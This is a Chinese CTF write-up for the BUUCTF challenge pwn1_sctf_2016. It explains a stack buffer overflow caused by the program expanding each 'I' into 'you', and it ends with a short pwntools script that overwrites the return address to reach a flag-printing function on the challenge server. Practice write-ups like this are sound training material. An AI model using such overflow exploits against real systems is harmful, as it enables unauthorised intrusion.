[BUUCTF]PWN4——pwn1_sctf_2016

[BUUCTF]PWN4——pwn1_sctf_2016

题目网址:https://buuoj.cn/challenges#pwn1_sctf_2016

步骤:
例行检查,32位,开启nx(堆栈不可执行)保护,就是说我们没法往堆栈上写东西
在这里插入图片描述
nc一下看看输入点的字符串
在这里插入图片描述
用32位ida打开附件,shift+f12查看一下程序里的字符串,看到了比较敏感的“cat flag.txt”
在这里插入图片描述
双击跟进,ctrl+x查看哪个函数调用了这个字符串,找到函数后按f5将其反编译成我们熟悉的伪代码
在这里插入图片描述
看到这个函数的作用就是输出flag.txt里的内容,记一下地址 flag_addr=0x8048F0D
在这里插入图片描述

回到我们查看字符串的窗口,根据nc时看到的字符串找到输入点
可以看到第12行的fgets是我们的输入点,但是它只读入了32(=0x20)长度的数据,小于0x3c,没有办法造成溢出,但是呢这个程序有点意思的地方就在于回将一个字节的“I”替换成三个字节的“you”
那么思路来了,我们输入20字节的 “I” ,经过第19行的replace函数后会变成60字节的 “you” ,这样就可以进行溢出了,之后覆盖ebp,覆盖返回地址为输出flag的函数地址,就可以完成利用
(14~26行的代码是c++的语法,不是很清楚的,可以去网上查一下这几个的用法,注释处是我的理解)

exp:

from pwn import*

r=remote("node3.buuoj.cn",27491)
flag_addr=0x8048f0d
payload='I'*20+'aaaa'+p32(flag_addr)
r.sendline(payload)

r.interactive()

在这里插入图片描述

原文地址:https://www.cnblogs.com/xlrp/p/14273731.html